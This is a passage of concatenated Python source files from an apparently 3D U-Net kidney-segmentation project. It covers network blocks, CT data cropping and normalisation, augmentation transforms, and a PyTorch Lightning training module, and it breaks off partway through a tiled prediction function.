for i in range(self.num_pool-1, -1, -1):
x = self.up_blocks[i](x, skip_layers[i])
x = self.decode_blocks[i](x)
x = self.fc(x)
return x
# class Unet2(nn.Module):
# def __init__(self, in_channels, out_channels, num_pool,
# pool_block, up_block, encode_block, decode_block, conv_op=nn.Conv3d):
# super(Unet2, self).__init__()
# self.num_pool = num_pool
# self.in_channels = in_channels
# self.out_channels = out_channels
# self.pool_blocks = nn.ModuleList(
# [pool_block.make(i) for i in range(num_pool)]
# )
# self.up_block = nn.ModuleList(
# [up_block.make(i) for i in range(num_pool)]
# )
# self.encode_blocks = nn.ModuleList(
# [encode_block.make(i) for i in range(num_pool+1)]
# )
# self.decode_blocks = nn.ModuleList(
# [decode_block.make(i) for i in range(num_pool)]
# )
# self.conv = conv_op(in_channels, encode_block.in_channels_list[0],
# kernel_size=3, padding=1)
# self.fc = conv_op(decode_block.out_channels_list[0], out_channels, kernel_size=1)
# self.active = nn.Softmax(dim=1)
# def forward(self, x):
# x = self.conv(x)
# skip_layers = []
# for i in range(self.num_pool):
# x = self.encode_blocks[i](x)
# skip_layers.append(x)
# x = self.pool_blocks[i](x)
# x = self.encode_blocks[-1](x)
# for i in range(self.num_pool-1, -1, -1):
# x = self.up_block[i](x, skip_layers[i])
# x = self.decode_blocks[i](x)
# x = self.fc(x)
# x = self.active(x)
# return x
# class BlockMaker():
# def __init__(self, in_channels_list, out_channels_list,
# conv_op=nn.Conv3d, conv_kwargs={'kernel_size': 3, 'padding': 1},
# dropout_op=nn.Dropout3d, dropout_kwargs={'p': 0.5, 'inplace': True},
# norm_op=nn.InstanceNorm3d, norm_kwargs={},
# nonlin_op=nn.LeakyReLU, nonlin_kwargs={'inplace': True}):
# self.conv_op = conv_op
# self.conv_kwargs = conv_kwargs
# self.dropout_op = dropout_op
# self.dropout_kwargs = dropout_kwargs
# self.norm_op = norm_op
# self.norm_kwargs = norm_kwargs
# self.nonlin_op = nonlin_op
# self.nonlin_kwargs = nonlin_kwargs
# self.in_channels_list = in_channels_list
# self.out_channels_list = out_channels_list
# def make(self, index):
# return ConvBlock(self.in_channels_list[index], self.out_channels_list[index],
# conv_op=self.conv_op, conv_kwargs=self.conv_kwargs,
# dropout_op=self.dropout_op, dropout_kwargs=self.dropout_kwargs,
# norm_op=self.norm_op, norm_kwargs=self.norm_kwargs,
# nonlin_op=self.nonlin_op, nonlin_kwargs=self.nonlin_kwargs)
# class ResBlockMaker(BlockMaker):
# def __init__(self, in_channels_list, out_channels_list, stride=1,
# conv_op=nn.Conv3d, conv_kwargs={'kernel_size': 3, 'padding': 1},
# dropout_op=nn.Dropout3d, dropout_kwargs={'p': 0.5, 'inplace': True},
# norm_op=nn.InstanceNorm3d, norm_kwargs={},
# nonlin_op=nn.LeakyReLU, nonlin_kwargs={'inplace': True}):
# super(ResBlockMaker, self).__init__(
# in_channels_list, out_channels_list,
# conv_op=conv_op, conv_kwargs=conv_kwargs,
# dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
# norm_op=norm_op, norm_kwargs=norm_kwargs,
# nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs)
# self.stride = stride
# def make(self, index):
# return ResBlock(self.in_channels_list[index], self.out_channels_list[index],
# stride=self.stride,
# conv_op=self.conv_op, conv_kwargs=self.conv_kwargs,
# dropout_op=self.dropout_op, dropout_kwargs=self.dropout_kwargs,
# norm_op=self.norm_op, norm_kwargs=self.norm_kwargs,
# nonlin_op=self.nonlin_op, nonlin_kwargs=self.nonlin_kwargs)
# class ResBlockStackMaker(ResBlockMaker):
# def __init__(self, in_channels_list, out_channels_list, stride=1,
# conv_op=nn.Conv3d, conv_kwargs={'kernel_size': 3, 'padding': 1},
# dropout_op=nn.Dropout3d, dropout_kwargs={'p': 0.5, 'inplace': True},
# norm_op=nn.InstanceNorm3d, norm_kwargs={},
# nonlin_op=nn.LeakyReLU, nonlin_kwargs={'inplace': True}):
# super(ResBlockStackMaker, self).__init__(
# in_channels_list, out_channels_list, stride=stride,
# conv_op=conv_op, conv_kwargs=conv_kwargs,
# dropout_op=dropout_op, dropout_kwargs=dropout_kwargs,
# norm_op=norm_op, norm_kwargs=norm_kwargs,
# nonlin_op=nonlin_op, nonlin_kwargs=nonlin_kwargs)
# def make(self, index):
# num_stacks = max(index, 1)
# return ResBlockStack(self.in_channels_list[index], self.out_channels_list[index],
# stride=self.stride, num_stacks=num_stacks,
# conv_op=self.conv_op, conv_kwargs=self.conv_kwargs,
# dropout_op=self.dropout_op, dropout_kwargs=self.dropout_kwargs,
# norm_op=self.norm_op, norm_kwargs=self.norm_kwargs,
# nonlin_op=self.nonlin_op, nonlin_kwargs=self.nonlin_kwargs)
# class UpBlockMaker():
# def __init__(self, in_channels_list, out_channels_list,
# conv_trans_op=ConvTrans3D, attention=False, att_conv_op=nn.Conv3d,
# norm_op=nn.InstanceNorm3d, norm_kwargs={},
# nonlin_op=nn.LeakyReLU, nonlin_kwargs={'inplace': True}):
# self.attention = attention
# self.conv_trans_op = conv_trans_op
# self.att_conv_op = att_conv_op
# self.norm_op = norm_op
# self.norm_kwargs = norm_kwargs
# self.nonlin_op = nonlin_op
# self.nonlin_kwargs = nonlin_kwargs
# self.in_channels_list = in_channels_list
# self.out_channels_list = out_channels_list
# def make(self, index):
# return UpConcat(self.in_channels_list[index], self.out_channels_list[index],
# conv_trans_op=self.conv_trans_op,
# attention=self.attention, att_conv_op=self.att_conv_op,
# norm_op=self.norm_op, norm_kwargs=self.norm_kwargs,
# nonlin_op=self.nonlin_op, nonlin_kwargs=self.nonlin_kwargs)
<file_sep>/nb_prepare_iib.py
# %%
from data import batch_load_crop_case, analyze_cases, \
batch_resample_normalize_case, batch_regions_crop_case, CaseDataset
from visualize import case_plt
from pathlib import Path
from tqdm import tqdm
import numpy as np
from matplotlib import pyplot as plt
from datetime import datetime
import csv
image_dir = '/mnt/main/dataset/Task20_Kidney/imagesTr'
vessel_label_dir = '/mnt/main/dataset/Task20_Kidney/labelsTr_vessel'
vessel_crop_dir = 'data/Task20_Kidney/vessel_crop'
kidney_region_crop_dir = 'data/Task20_Kidney/kidney_region_crop'
vessel_region_crop_dir = 'data/Task20_Kidney/vessel_region_crop'
vessel_region_norm_dir = 'data/Task20_Kidney/vessel_region_norm'
region_based_on_dir = 'data/Task20_Kidney/kidney_label'
normalize_stats = {'median': 136.0,
'mean': 137.51925659179688,
'std': 88.92479705810547,
'min': -148.0,
'max': 1262.0,
'pct_00_5': -69.0,
'pct_99_5': 426.0}
# %%
batch_load_crop_case(image_dir,
vessel_label_dir,
vessel_crop_dir)
# %%
batch_regions_crop_case(vessel_crop_dir,
vessel_region_crop_dir,
threshold=10000,
pred_dir=region_based_on_dir)
# %%
batch_resample_normalize_case(vessel_region_crop_dir,
vessel_region_norm_dir,
(0.7, 0.7, 1),
normalize_stats)
# %%
analyze_cases(vessel_region_crop_dir)
# %%
def analyze_labels(load_dir, save_dir='chart/', num_labels=3, data_range=None):
save_dir = Path(save_dir)
if not save_dir.exists():
save_dir.mkdir(parents=True)
load_dir = Path(load_dir)
cases = CaseDataset(load_dir)
if data_range is None:
data_range = range(len(cases))
filename = "frequencies-{}.csv".format(datetime.now().strftime("%y%m%d%H%M"))
csv_file = save_dir / filename
with open(csv_file, 'w', newline='', encoding="utf-8-sig") as csvfile:
csvWriter = csv.writer(csvfile, dialect='excel', quoting=csv.QUOTE_NONNUMERIC)
for i in tqdm(data_range):
case = cases[i]
content = []
for c in range(num_labels):
label_np = case['label'] == c
content.append(np.sum(label_np).item())
csvWriter.writerow(content)
def analyze_annotations(load_dir, num_labels=4, data_range=None):
load_dir = Path(load_dir)
cases = CaseDataset(load_dir)
sums = [0]*num_labels
frequencies = [0]*num_labels
if data_range is None:
data_range = range(len(cases))
for i in tqdm(data_range):
case = cases[i]
label_indices = np.unique(case['label'])
for index in label_indices:
sums[index] += 1
frequencies = [v/len(data_range) for v in sums]
print(sums)
print(frequencies)
return frequencies
# plt.bar(sums)
analyze_labels(vessel_region_crop_dir, num_labels=3)
# %%
<file_sep>/transform.py
import numpy as np
import scipy.ndimage as ndi
def remove_small_region(input, threshold):
labels, nb_labels = ndi.label(input)
label_areas = np.bincount(labels.ravel())
too_small_labels = label_areas < threshold
too_small_mask = too_small_labels[labels]
input[too_small_mask] = 0
return input
class RemoveSmallRegion(object):
def __init__(self, threshold):
self.threshold = threshold
def __call__(self, case):
case['label'] = remove_small_region(case['label'], self.threshold)
return case
def split_dim(input, axis=-1):
sub_arr = np.split(input, input.shape[axis], axis=axis)
return [np.squeeze(arr, axis=axis) for arr in sub_arr]
def slice_dim(input, slice, axis=-1):
return split_dim(input, axis=axis)[slice]
def rescale(input,
scale,
order=1,
mode='reflect',
cval=0,
is_label=False,
multi_class=False):
'''
A wrap of scipy.ndimage.zoom for label encoding data support.
Args:
See scipy.ndimage.zoom doc rescale for more detail.
is_label: If true, split label before rescale.
'''
dtype = input.dtype
if is_label:
num_classes = np.unique(input).max() + 1
if order == 0 or not is_label or num_classes < 3:
if multi_class:
classes = to_tensor(input)
rescaled_classes = np.array([ndi.zoom(c.astype(np.float32),
scale,
order=order,
mode=mode,
cval=cval)
for c in classes])
return to_numpy(rescaled_classes).astype(dtype)
else:
return ndi.zoom(input.astype(np.float32),
scale,
order=order,
mode=mode,
cval=cval).astype(dtype)
else:
onehot = to_one_hot(input, num_classes, to_tensor=True)
rescaled_onehot = np.array([ndi.zoom(c.astype(np.float32),
scale,
order=order,
mode=mode,
cval=cval)
for c in onehot])
return np.argmax(rescaled_onehot, axis=0).astype(dtype)
def resize(input,
shape,
order=1,
mode='reflect',
cval=0,
is_label=False):
'''
Resize ndarray. (wrap of rescale)
Args:
See scipy.ndimage.zoom doc rescale for more detail.
is_label: If true, split label before rescale.
'''
orig_shape = input.shape
multi_class = len(shape) == len(orig_shape)-1
orig_shape = orig_shape[:len(shape)]
scale = np.array(shape)/np.array(orig_shape)
return rescale(input,
scale,
order=order,
mode=mode,
cval=cval,
is_label=is_label,
multi_class=multi_class)
class Resize(object):
'''
Resize image and label.
Args:
scale (sequence or int): range of factor.
If it is a int number, the range will be [1-int, 1+int]
'''
def __init__(self, shape):
self.shape = shape
def __call__(self, case):
case['image'] = resize(case['image'], self.shape)
case['label'] = resize(case['label'], self.shape, is_label=True)
return case
class RandomRescale(object):
'''
Randomly rescale image and label by range of scale factor.
Args:
scale (sequence or int): range of factor.
If it is a int number, the range will be [1-int, 1+int]
'''
def __init__(self, scale):
if isinstance(scale, float):
assert 0 <= scale <= 1, "If range is a single number, it must be non negative"
self.scale = [1-scale, 1+scale]
else:
self.scale = scale
def __call__(self, case):
scale = np.random.uniform(self.scale[0], self.scale[1])
case['image'] = rescale(case['image'], scale)
case['label'] = rescale(case['label'], scale, is_label=True)
return case
def to_tensor(input):
dims_indices = np.arange(len(input.shape))
dims_indices = np.concatenate((dims_indices[-1:], dims_indices[:-1]))
return input.transpose(dims_indices)
def to_numpy(input):
dims_indices = np.arange(len(input.shape))
dims_indices = np.concatenate((dims_indices[1:], dims_indices[:1]))
return input.transpose(dims_indices)
class ToTensor(object):
'''
(d1,d2,...,dn,class) => (class,d1,d2,...,dn)
'''
def __call__(self, case):
case['image'] = to_tensor(case['image'])
return case
class ToNumpy(object):
'''
(class,d1,d2,...,dn) => (d1,d2,...,dn,class)
'''
def __call__(self, case):
case['image'] = to_numpy(case['image'])
return case
def adjust_contrast(input, factor):
dtype = input.dtype
mean = input.mean()
return ((input - mean) * factor + mean).astype(dtype)
def adjust_brightness(input, factor):
dtype = input.dtype
minimum = input.min()
return ((input - minimum) * factor + minimum).astype(dtype)
def adjust_gamma(input, gamma, epsilon=1e-7):
dtype = input.dtype
minimum = input.min()
maximum = input.max()
arange = maximum - minimum + epsilon
return (np.power(((input - minimum) / arange), gamma) * arange + minimum).astype(dtype)
class RandomContrast(object):
'''
Adjust contrast with random factor value in range.
Args:
factor (sequence or int): range of factor.
If it is a int number, the range will be [1-int, 1+int]
'''
def __init__(self, factor_range):
if isinstance(factor_range, float):
assert 0 <= factor_range <= 1, "If range is a single number, it must be non negative"
self.factor_range = [1-factor_range, 1+factor_range]
else:
self.factor_range = factor_range
def __call__(self, case):
factor = np.random.uniform(self.factor_range[0], self.factor_range[1])
case['image'] = adjust_contrast(case['image'], factor)
return case
class RandomBrightness(object):
'''
Adjust brightness with random factor value in range.
Args:
factor_range (sequence or int): range of factor.
If it is a int number, the range will be [1-int, 1+int]
'''
def __init__(self, factor_range):
if isinstance(factor_range, float):
assert 0 <= factor_range <= 1, "If range is a single number, it must be non negative"
self.factor_range = [1-factor_range, 1+factor_range]
else:
self.factor_range = factor_range
def __call__(self, case):
factor = np.random.uniform(self.factor_range[0], self.factor_range[1])
case['image'] = adjust_brightness(case['image'], factor)
return case
class RandomGamma(object):
'''
Adjust gamma with random gamma value in range.
Args:
gamma_range (sequence or int): range of gamma.
If it is a int number, the range will be [1-int, 1+int]
'''
def __init__(self, gamma_range):
if isinstance(gamma_range, float):
assert 0 <= gamma_range <= 1, "If range is a single number, it must be non negative"
self.gamma_range = [1-gamma_range, 1+gamma_range]
else:
self.gamma_range = gamma_range
def __call__(self, case):
gamma = np.random.uniform(self.gamma_range[0], self.gamma_range[1])
case['image'] = adjust_gamma(case['image'], gamma)
return case
def to_one_hot(input, num_classes, to_tensor=False):
'''
Label to one-hot. Label shape changes:
(d1,d2,...,dn) => (d1,d2,...,dn,class)
or (d1,d2,...,dn) => (class,d1,d2,...,dn) (pytorch tensor like)
Args:
num_classes (int): Total num of label classes.
'''
dtype = input.dtype
onehot = np.eye(num_classes)[input]
dims_indices = np.arange(len(input.shape)+1)
if to_tensor:
dims_indices = np.concatenate((dims_indices[-1:], dims_indices[:-1]))
return onehot.transpose(dims_indices).astype(dtype)
class RandomMirror(object):
'''
Mirroring image and label randomly (per_axis).
Args:
p_per_axis (sequence or int): axis u wanted to mirror.
'''
def __init__(self, p_per_axis):
self.p_per_axis = p_per_axis
def __call__(self, case):
dim = len(case['image'].shape)-1
if not isinstance(self.p_per_axis, (np.ndarray, tuple, list)):
self.p_per_axis = [self.p_per_axis] * dim
for i, p in enumerate(self.p_per_axis):
if np.random.uniform() < p:
# negative strides numpy array is not support for pytorch yet.
case['image'] = np.flip(case['image'], i).copy()
case['label'] = np.flip(case['label'], i).copy()
return case
class ToOnehot(object):
'''
Label to one-hot. Label shape changes:
(d1,d2,...,dn) => (d1,d2,...,dn,class)
or (d1,d2,...,dn) => (class,d1,d2,...,dn) (with transpose)
Args:
num_classes (int): Total num of label classes.
'''
def __init__(self, num_classes, to_tensor=False):
self.num_classes = num_classes
self.to_tensor = to_tensor
def __call__(self, case):
case['label'] = to_one_hot(case['label'], self.num_classes, self.to_tensor)
return case
def combination_labels(input, combinations, num_classes):
'''
Combines some label indices as one.
Args:
combinations (ndarray, list, tuple): Combines of label indices
ndarray, e.g.[[0,1],[2]]
list, e.g.[0,1]
tuple, e.g.(0,1)
num_classes (int): Total num of label classes.
'''
dtype = input.dtype
# add other single class combinations in the combinations setting
if len(np.array(combinations).shape) == 1:
combinations = [combinations]
full_combinations = []
used_combination_indices = []
classes_range = range(num_classes)
for c in classes_range:
c_pos = np.where(np.array(combinations) == c)
related_combination_indices = c_pos[0]
if len(related_combination_indices) > 0:
for i in related_combination_indices:
if i not in used_combination_indices:
full_combinations.append(combinations[i])
used_combination_indices.append(i)
else:
full_combinations.append([c])
onehot = to_one_hot(input, num_classes, True)
# combination the classes into new onehot
combination_logics = []
for combination in full_combinations:
combination_logic = np.zeros_like(onehot[0])
for c in combination:
combination_logic = np.logical_or(onehot[c], combination_logic)
combination_logics.append(combination_logic)
combination_logics = np.array(combination_logics)
# onehot => argmax
return np.argmax(combination_logics, axis=0).astype(dtype)
class CombineLabels(object):
'''
Combines some label indices as one.
Args:
combinations (ndarray, list, tuple): Combines of label indices
ndarray, e.g.[[0,1],[2]]
list, e.g.[0,1]
tuple, e.g.(0,1)
num_classes (int): Total num of label classes.
'''
def __init__(self, combinations, num_classes):
self.combinations = combinations
self.num_classes = num_classes
def __call__(self, case):
case['label'] = combination_labels(case['label'], self.combinations, self.num_classes)
return case
def pad(input, pad_size, pad_mode='constant', pad_cval=0):
shape = input.shape
pad_size = [max(shape[d], pad_size[d]) for d in range(len(pad_size))]
return crop_pad(input, pad_size, pad_mode=pad_mode, pad_cval=pad_cval)
def crop_pad(input, crop_size, crop_mode='center', crop_margin=0, pad_mode='constant', pad_cval=0):
dim = len(crop_size)
if not isinstance(crop_margin, (np.ndarray, tuple, list)):
crop_margin = [crop_margin] * dim
bbox = gen_bbox_for_crop(crop_size, input.shape, crop_margin, crop_mode)
return crop_pad_to_bbox(input, bbox, pad_mode, pad_cval)
def gen_bbox_for_crop(crop_size, orig_shape, crop_margin, crop_mode):
assert crop_mode == "center" or crop_mode == "random",\
"crop mode must be either center or random"
bbox = []
for i in range(len(orig_shape)):
if i < len(crop_size):
if crop_mode == 'random'\
and orig_shape[i] - crop_size[i] - crop_margin[i] > crop_margin[i]:
lower_boundaries = np.random.randint(
crop_margin[i], orig_shape[i] - crop_size[i] - crop_margin[i])
else:
lower_boundaries = (orig_shape[i] - crop_size[i]) // 2
bbox.append([lower_boundaries, lower_boundaries+crop_size[i]])
else:
bbox.append([0, orig_shape[i]])
return bbox
def crop_pad_to_bbox(input, bbox, pad_mode='constant', pad_cval=0):
shape = input.shape
dtype = input.dtype
# crop first
abs_bbox_slice = [slice(max(0, bbox[d][0]), min(bbox[d][1], shape[d]))
for d in range(len(shape))]
cropped = input[tuple(abs_bbox_slice)]
# than pad
pad_width = [[abs(min(0, bbox[d][0])), abs(min(0, shape[d] - bbox[d][1]))]
for d in range(len(shape))]
if any([i > 0 for j in pad_width for i in j]):
cropped = np.pad(cropped, pad_width, pad_mode, constant_values=pad_cval)
return cropped.astype(dtype)
class Crop(object):
'''
Crop image and label simultaneously.
Args:
size (sequence or int): The size of crop.
mode (str): 'random' or 'center'.
margin (sequence or int): If crop mode is random, it determine how far from
cropped boundary to shape boundary.
enforce_label_indices (sequence or int): If crop mode is random, it determine
the cropped label must contain the setting label index.
image_pad_mode: np.pad kwargs
image_pad_cval: np.pad kwargs
label_pad_mode: np.pad kwargs
label_pad_cval: np.pad kwargs
'''
def __init__(self,
crop_size=128,
crop_mode='center',
crop_margin=0,
enforce_label_indices=[],
image_pad_mode='constant',
image_pad_cval=0,
label_pad_mode='constant',
label_pad_cval=0):
self.crop_size = crop_size
self.crop_mode = crop_mode
self.crop_margin = crop_margin
if isinstance(enforce_label_indices, int):
self.enforce_label_indices = [enforce_label_indices]
else:
self.enforce_label_indices = enforce_label_indices
self.image_pad_mode = image_pad_mode
self.image_pad_cval = image_pad_cval
self.label_pad_mode = label_pad_mode
self.label_pad_cval = label_pad_cval
def __call__(self, case):
image, label = case['image'], case['label']
dim = len(image.shape)-1
if not isinstance(self.crop_size, (np.ndarray, tuple, list)):
self.crop_size = [self.crop_size] * dim
if not isinstance(self.crop_margin, (np.ndarray, tuple, list)):
self.crop_margin = [self.crop_margin] * dim
gen_bbox = True
while gen_bbox:
bbox = gen_bbox_for_crop(self.crop_size, image.shape, self.crop_margin, self.crop_mode)
cropped_label = crop_pad_to_bbox(
label,
bbox[:-1],
self.label_pad_mode,
self.label_pad_cval)
cropped_label_indices = np.unique(cropped_label)
gen_bbox = False
for i in self.enforce_label_indices:
if i not in cropped_label_indices:
# print('cropped label does not contain label %d, regen bbox' % i)
gen_bbox = True
cropped_image = crop_pad_to_bbox(
image,
bbox,
self.image_pad_mode,
self.image_pad_cval)
case['image'] = cropped_image
case['label'] = cropped_label
return case
class RandomCrop(Crop):
'''
Random crop image and label simultaneously.
Args:
size (sequence or int): The size of crop.
margin (sequence or int): It determine how far from cropped boundary to shape boundary
enforce_label_indices (sequence or int): If crop mode is random, it determine
the cropped label must contain the setting label index.
image_pad_mode: np.pad kwargs
image_pad_cval: np.pad kwargs
label_pad_mode: np.pad kwargs
label_pad_cval: np.pad kwargs
'''
def __init__(self,
crop_size=128,
crop_margin=0,
enforce_label_indices=[],
image_pad_mode='constant',
image_pad_cval=0,
label_pad_mode='constant',
label_pad_cval=0):
super(RandomCrop, self).__init__(crop_size,
crop_margin=crop_margin,
crop_mode='random',
enforce_label_indices=enforce_label_indices,
image_pad_mode=image_pad_mode,
image_pad_cval=image_pad_cval,
label_pad_mode=label_pad_mode,
label_pad_cval=label_pad_cval)
class CenterCrop(Crop):
'''
Center crop image and label simultaneously.
Args:
size (sequence or int): The size of crop.
image_pad_mode: np.pad kwargs
image_pad_cval: np.pad kwargs
label_pad_mode: np.pad kwargs
label_pad_cval: np.pad kwargs
'''
def __init__(self,
crop_size=128,
image_pad_mode='constant',
image_pad_cval=0,
label_pad_mode='constant',
label_pad_cval=0):
super(CenterCrop, self).__init__(crop_size,
crop_mode='center',
image_pad_mode=image_pad_mode,
image_pad_cval=image_pad_cval,
label_pad_mode=label_pad_mode,
label_pad_cval=label_pad_cval)
class RandomRescaleCrop(Crop):
'''
Randomly resize image and label, then crop.
Args:
scale (sequence or int): range of factor.
If it is a int number, the range will be [1-int, 1+int]
'''
def __init__(self,
scale,
crop_size=128,
crop_mode='center',
crop_margin=0,
enforce_label_indices=[],
image_pad_mode='constant',
image_pad_cval=0,
label_pad_mode='constant',
label_pad_cval=0):
super(RandomRescaleCrop, self).__init__(crop_size,
crop_mode=crop_mode,
crop_margin=crop_margin,
enforce_label_indices=enforce_label_indices,
image_pad_mode=image_pad_mode,
image_pad_cval=image_pad_cval,
label_pad_mode=label_pad_mode,
label_pad_cval=label_pad_cval)
if isinstance(scale, float):
assert 0 <= scale <= 1, "If range is a single number, it must be non negative"
self.scale = [1-scale, 1+scale]
else:
self.scale = scale
def __call__(self, case):
image, label = case['image'], case['label']
dim = len(image.shape)-1
if not isinstance(self.crop_size, (np.ndarray, tuple, list)):
self.crop_size = [self.crop_size] * dim
if not isinstance(self.crop_margin, (np.ndarray, tuple, list)):
self.crop_margin = [self.crop_margin] * dim
scale = np.random.uniform(self.scale[0], self.scale[1])
crop_size_before_rescale = np.round(np.array(self.crop_size) / scale).astype(np.int)
# crop first
gen_bbox = True
while gen_bbox:
bbox = gen_bbox_for_crop(crop_size_before_rescale,
image.shape,
self.crop_margin,
self.crop_mode)
cropped_label = crop_pad_to_bbox(
label,
bbox[:-1],
self.label_pad_mode,
self.label_pad_cval)
cropped_label_indices = np.unique(cropped_label)
gen_bbox = False
for i in self.enforce_label_indices:
if i not in cropped_label_indices:
# print('cropped label does not contain label %d, regen bbox' % i)
gen_bbox = True
cropped_image = crop_pad_to_bbox(
image,
bbox,
self.image_pad_mode,
self.image_pad_cval)
# then resize
resized_image = resize(cropped_image, self.crop_size)
resized_label = resize(cropped_label, self.crop_size, is_label=True)
case['image'] = resized_image
case['label'] = resized_label
return case
# def resize(input,
# output_shape,
# is_label=False,
# order=1,
# mode='reflect',
# cval=0,
# anti_aliasing=True):
# '''
# A wrap of scikit-image resize for label encoding data support.
# Args:
# See scikit-image doc resize for more detail.
# is_label: If true, split label before resize.
# '''
# dtype = input.dtype
# orig_shape = input.shape
# assert len(output_shape) == len(orig_shape) or len(output_shape) == len(orig_shape)-1, \
# 'output shape not equal to input shape'
# if is_label:
# num_classes = len(np.unique(input))
# if order == 0 or not is_label or num_classes < 3:
# if len(output_shape) == len(orig_shape)-1:
# resized_input = np.array([tf.resize(c.astype(np.float32),
# output_shape,
# order,
# mode=mode,
# cval=cval,
# anti_aliasing=anti_aliasing)
# for c in to_tensor(input)])
# return to_numpy(resized_input)
# else:
# return tf.resize(input.astype(np.float32),
# output_shape,
# order,
# mode=mode,
# cval=cval,
# anti_aliasing=anti_aliasing).astype(dtype)
# else:
# num_classes = len(np.unique(input))
# onehot = to_one_hot(input, num_classes, to_tensor=True)
# resized_onehot = np.array([tf.resize(c.astype(np.float32),
# output_shape,
# order,
# mode=mode,
# cval=cval,
# anti_aliasing=anti_aliasing)
# for c in onehot])
# return np.argmax(resized_onehot, axis=0).astype(dtype)
# def rescale(input,
# scale,
# is_label=False,
# order=1,
# mode='reflect',
# cval=0,
# multichannel=False,
# anti_aliasing=True):
# '''
# A wrap of scikit-image rescale for label encoding data support.
# Args:
# See scikit-image doc rescale for more detail.
# is_label: If true, split label before rescale.
# '''
# dtype = input.dtype
# if is_label:
# num_classes = len(np.unique(input))
# if order == 0 or not is_label or num_classes < 3:
# # why not using multichannel arg in tf.rescale? because it takes more memoey.
# if multichannel:
# rescaled = np.array([tf.rescale(c.astype(np.float32),
# scale,
# order,
# mode=mode,
# cval=cval,
# anti_aliasing=anti_aliasing)
# for c in to_tensor(input)])
# return to_numpy(rescaled)
# else:
# return tf.rescale(input.astype(np.float32),
# scale,
# order,
# mode=mode,
# cval=cval,
# anti_aliasing=anti_aliasing).astype(dtype)
# else:
# num_classes = len(np.unique(input))
# onehot = to_one_hot(input, num_classes, to_tensor=True)
# rescale_onehot = np.array([tf.rescale(c.astype(np.float32),
# scale,
# order,
# mode=mode,
# cval=cval,
# anti_aliasing=anti_aliasing)
# for c in onehot])
# return np.argmax(rescale_onehot, axis=0).astype(dtype)
<file_sep>/nb_pl.py
# %%
from tqdm import tqdm, trange
from visualize import grid_plt, sample_plt
from data import CaseDataset, load_crop, resample_normalize
from trainer import DatasetFromSubset
from network import generate_paired_features, Unet, ResBlock, ResBlockStack
from loss import DiceCoef, FocalDiceCoefLoss, dice_coef
from torchvision.transforms import Compose
from transform import Crop, resize, rescale, to_one_hot, RandomCrop, ToOnehot, ToNumpy, ToTensor, \
CombineLabels, RandomBrightness, RandomContrast, RandomGamma, RandomRescale, RandomRescaleCrop, \
RandomMirror, pad, crop_pad, to_tensor, to_numpy
import torch
import torch.nn as nn
import torch.optim as optim
from apex import amp
from pytorch_lightning.loggers import TensorBoardLogger
from pytorch_lightning.callbacks import ModelCheckpoint, EarlyStopping
from pytorch_lightning import Trainer, LightningModule
from datetime import datetime
import numpy as np
import nibabel as nib
from utils import json_load, json_save
from pathlib import Path
from argparse import Namespace, ArgumentParser
args = Namespace(data_set_dir='data/Task00_Kidney/normalized',
learning_rate=1e-4,
num_workers=2,
batch_size=1,
valid_split=0.2,
patch_x=160,
patch_y=160,
patch_z=80,
num_features=30,
num_pool=4)
class Unet3D(LightningModule):
def __init__(self, hparams):
super(Unet3D, self).__init__()
self.hparams = hparams
self.learning_rate = hparams.learning_rate
self.data_set_dir = hparams.data_set_dir
self.loader_kwargs = {'batch_size': hparams.batch_size,
'num_workers': hparams.num_workers,
'pin_memory': True}
self.valid_split = hparams.valid_split
num_pool = hparams.num_pool
num_features = hparams.num_features
patch_size = (hparams.patch_x,
hparams.patch_y,
hparams.patch_z)
def encode_kwargs_fn(level):
num_stacks = max(level, 1)
return {'num_stacks': num_stacks}
paired_features = generate_paired_features(num_pool, num_features)
self.net = Unet(in_channels=1,
out_channels=1,
paired_features=paired_features,
pool_block=ResBlock,
pool_kwargs={'stride': 2},
up_kwargs={'attention': True},
encode_block=ResBlockStack,
encode_kwargs_fn=encode_kwargs_fn,
decode_block=ResBlock)
self.loss_fn = FocalDiceCoefLoss()
self.metrics = {'kd_dsc': DiceCoef()}
self.tr_transform = Compose([
RandomRescaleCrop(0.1,
patch_size,
crop_mode='random',
enforce_label_indices=[1]),
RandomMirror((0.2, 0, 0)),
RandomContrast(0.1),
RandomBrightness(0.1),
RandomGamma(0.1),
CombineLabels([1, 2], 3),
ToTensor()
])
self.vd_transform = Compose([
RandomCrop(patch_size),
CombineLabels([1, 2], 3),
ToTensor()
])
def prepare_data(self):
data_set = CaseDataset(self.data_set_dir)
n_valid = round(len(data_set) * self.valid_split)
valid_subset, train_subset = torch.utils.data.random_split(
data_set, [n_valid, len(data_set)-n_valid])
self.train_set = DatasetFromSubset(train_subset, self.tr_transform)
self.valid_set = DatasetFromSubset(valid_subset, self.vd_transform)
def forward(self, x):
return self.net(x)
def configure_optimizers(self):
return optim.Adam(self.parameters(), lr=self.learning_rate)
def run_step(self, batch, prefix=''):
res_dict = {}
input, target = batch['image'], batch['label']
output = self.forward(input)
res_dict[prefix+'loss'] = self.loss_fn(output, target)
for name, metric_fn in self.metrics.items():
res_dict[prefix+name] = metric_fn(output, target)
return res_dict
def on_save_checkpoint(self, checkpoint):
checkpoint['amp'] = amp.state_dict()
def on_load_checkpoint(self, checkpoint):
print(checkpoint['amp'])
amp.load_state_dict(checkpoint['amp'])
def training_step(self, batch, batch_idx):
res_dict = self.run_step(batch)
tqdm_dict = res_dict.copy()
del tqdm_dict['loss']
return {'loss': res_dict['loss'],
'progress_bar': tqdm_dict,
'log': res_dict}
def validation_step(self, batch, batch_idx):
return self.run_step(batch, prefix='val_')
def validation_epoch_end(self, outputs):
val_mean = {}
for name in outputs[0].keys():
val_mean[name] = torch.stack([x[name] for x in outputs]).mean()
return {'progress_bar': val_mean,
'log': val_mean}
def train_dataloader(self):
return torch.utils.data.DataLoader(self.train_set,
shuffle=True,
**self.loader_kwargs)
def val_dataloader(self):
return torch.utils.data.DataLoader(self.valid_set,
**self.loader_kwargs)
def predict_3d(self, input, patch_size, out_channels, step=2):
is_cuda = next(self.parameters()).is_cuda
device = torch.device('cuda:0' if is_cuda else 'cpu')
print('Tile generating pred...')
# W H D
orig_shape = input.shape[:3]
print('Data original shape: (%d, %d, %d)' % (orig_shape[0], orig_shape[1], orig_shape[2]))
input = pad(input, patch_size)
pad_shape = input.shape[:3]
print('Data padding shape: (%d, %d, %d)' %
(pad_shape[0], pad_shape[1], pad_shape[2]))
coord_start = np.array([i // 2 for i in patch_size]).astype(int)
coord_end = np.array(
[pad_shape[i] - patch_size[i] // 2 for i in range(len(patch_size))]).astype(int)
